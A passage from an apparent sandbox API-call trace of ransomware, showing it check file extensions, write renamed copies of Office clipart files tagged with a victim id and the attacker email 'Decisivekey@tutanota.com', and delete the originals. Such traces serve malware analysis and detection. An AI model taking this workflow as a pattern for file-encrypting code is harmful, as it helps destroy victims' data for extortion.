lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0224.891] lstrlenW (lpString=".ppt") returned 4 [0224.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0224.891] lstrlenW (lpString=".zip") returned 4 [0224.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.891] lstrlenW (lpString=".rar") returned 4 [0224.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.891] lstrlenW (lpString=".bz2") returned 4 [0224.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.891] lstrlenW (lpString=".7z") returned 3 [0224.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0224.891] lstrlenW (lpString=".dbf") returned 4 [0224.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0224.891] lstrlenW (lpString=".1cd") returned 4 [0224.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0224.891] lstrlenW (lpString=".jpg") returned 4 [0224.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.891] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=21914) returned 1 [0224.891] CloseHandle (hObject=0x180) returned 1 [0224.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 0x20 [0224.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0224.892] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.892] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0224.892] GetLastError () returned 0x0 [0224.892] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x559a, lpOverlapped=0x0) returned 1 [0224.975] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x55a0, lpOverlapped=0x0) returned 1 [0224.976] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.976] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.976] SetEndOfFile (hFile=0x194) returned 1 [0224.976] CloseHandle (hObject=0x194) returned 1 [0224.977] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.977] SetEndOfFile (hFile=0x180) returned 1 [0224.977] CloseHandle (hObject=0x180) returned 1 [0224.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0224.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0224.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0224.978] lstrlenW (lpString=".doc") returned 4 [0224.978] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0224.978] lstrlenW (lpString=".docx") returned 5 [0224.978] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0224.978] lstrlenW (lpString=".pdf") returned 4 [0224.978] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0224.978] lstrlenW (lpString=".xls") returned 4 [0224.978] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0224.978] lstrlenW (lpString=".xlsx") returned 5 [0224.978] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0224.978] lstrlenW (lpString=".ppt") returned 4 [0224.978] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0224.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0224.978] lstrlenW (lpString=".zip") returned 4 [0224.978] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0224.978] lstrlenW (lpString=".rar") returned 4 [0224.978] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0224.978] lstrlenW (lpString=".bz2") returned 4 [0224.978] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0224.978] lstrlenW (lpString=".7z") returned 3 [0224.978] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0224.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0224.978] lstrlenW (lpString=".dbf") returned 4 [0224.978] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0224.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0224.978] lstrlenW (lpString=".1cd") returned 4 [0224.978] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0224.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0224.978] lstrlenW (lpString=".jpg") returned 4 [0224.979] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0224.979] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=13954) returned 1 [0224.979] CloseHandle (hObject=0x180) returned 1 [0224.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 0x20 [0224.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0224.979] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.979] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0224.980] GetLastError () returned 0x0 [0224.980] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x3682, lpOverlapped=0x0) returned 1 [0224.989] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x3690, lpOverlapped=0x0) returned 1 [0224.990] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.990] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.990] SetEndOfFile (hFile=0x194) returned 1 [0224.990] CloseHandle (hObject=0x194) returned 1 [0224.990] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.990] SetEndOfFile (hFile=0x180) returned 1 [0224.992] CloseHandle (hObject=0x180) returned 1 [0224.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0224.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0224.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0224.992] lstrlenW (lpString=".doc") returned 4 [0224.992] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0224.992] lstrlenW (lpString=".docx") returned 5 [0224.992] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0224.992] lstrlenW (lpString=".pdf") returned 4 [0224.992] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0224.992] lstrlenW (lpString=".xls") returned 4 [0224.992] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0224.992] lstrlenW (lpString=".xlsx") returned 5 [0224.992] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0224.992] lstrlenW (lpString=".ppt") returned 4 [0224.992] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0224.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0224.992] lstrlenW (lpString=".zip") returned 4 [0224.992] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0224.993] lstrlenW (lpString=".rar") returned 4 [0224.993] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0224.993] lstrlenW (lpString=".bz2") returned 4 [0224.993] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0224.993] lstrlenW (lpString=".7z") returned 3 [0224.993] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0224.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0224.993] lstrlenW (lpString=".dbf") returned 4 [0224.993] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0224.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0224.993] lstrlenW (lpString=".1cd") returned 4 [0224.993] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0224.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0224.993] lstrlenW (lpString=".jpg") returned 4 [0224.993] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0224.993] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=26160) returned 1 [0224.993] CloseHandle (hObject=0x180) returned 1 [0224.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 0x20 [0224.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0224.993] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.993] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0224.994] GetLastError () returned 0x0 [0224.994] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x6630, lpOverlapped=0x0) returned 1 [0225.013] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x6640, lpOverlapped=0x0) returned 1 [0225.013] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.014] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.014] SetEndOfFile (hFile=0x194) returned 1 [0225.014] CloseHandle (hObject=0x194) returned 1 [0225.014] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.014] SetEndOfFile (hFile=0x180) returned 1 [0225.014] CloseHandle (hObject=0x180) returned 1 [0225.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0225.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0225.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0225.015] lstrlenW (lpString=".doc") returned 4 [0225.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.015] lstrlenW (lpString=".docx") returned 5 [0225.015] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0225.015] lstrlenW (lpString=".pdf") returned 4 [0225.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.015] lstrlenW (lpString=".xls") returned 4 [0225.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.015] lstrlenW (lpString=".xlsx") returned 5 [0225.015] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0225.015] lstrlenW (lpString=".ppt") returned 4 [0225.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0225.015] lstrlenW (lpString=".zip") returned 4 [0225.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.015] lstrlenW (lpString=".rar") returned 4 [0225.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.015] lstrlenW (lpString=".bz2") returned 4 [0225.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.015] lstrlenW (lpString=".7z") returned 3 [0225.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0225.015] lstrlenW (lpString=".dbf") returned 4 [0225.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0225.015] lstrlenW (lpString=".1cd") returned 4 [0225.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0225.015] lstrlenW (lpString=".jpg") returned 4 [0225.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.016] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=22356) returned 1 [0225.016] CloseHandle (hObject=0x180) returned 1 [0225.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 0x20 [0225.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0225.016] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.016] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0225.016] GetLastError () returned 0x0 [0225.016] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x5754, lpOverlapped=0x0) returned 1 [0225.039] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x5760, lpOverlapped=0x0) returned 1 [0225.040] ReadFile (in: hFile=0x180, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.040] WriteFile (in: hFile=0x194, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.040] SetEndOfFile (hFile=0x194) returned 1 [0225.040] CloseHandle (hObject=0x194) returned 1 [0225.040] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.046] SetEndOfFile (hFile=0x180) returned 1 [0225.046] CloseHandle (hObject=0x180) returned 1 [0225.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0225.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0225.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0225.047] lstrlenW (lpString=".doc") returned 4 [0225.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.047] lstrlenW (lpString=".docx") returned 5 [0225.047] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0225.047] lstrlenW (lpString=".pdf") returned 4 [0225.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.047] lstrlenW (lpString=".xls") returned 4 [0225.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.047] lstrlenW (lpString=".xlsx") returned 5 [0225.047] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0225.047] lstrlenW (lpString=".ppt") returned 4 [0225.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0225.047] lstrlenW (lpString=".zip") returned 4 [0225.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.047] lstrlenW (lpString=".rar") returned 4 [0225.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.047] lstrlenW (lpString=".bz2") returned 4 [0225.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.047] lstrlenW (lpString=".7z") returned 3 [0225.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0225.047] lstrlenW (lpString=".dbf") returned 4 [0225.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0225.047] lstrlenW (lpString=".1cd") returned 4 [0225.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0225.047] lstrlenW (lpString=".jpg") returned 4 [0225.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.047] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=10192) returned 1 [0225.047] CloseHandle (hObject=0x180) returned 1 [0225.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 0x20 [0225.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0225.054] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.054] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 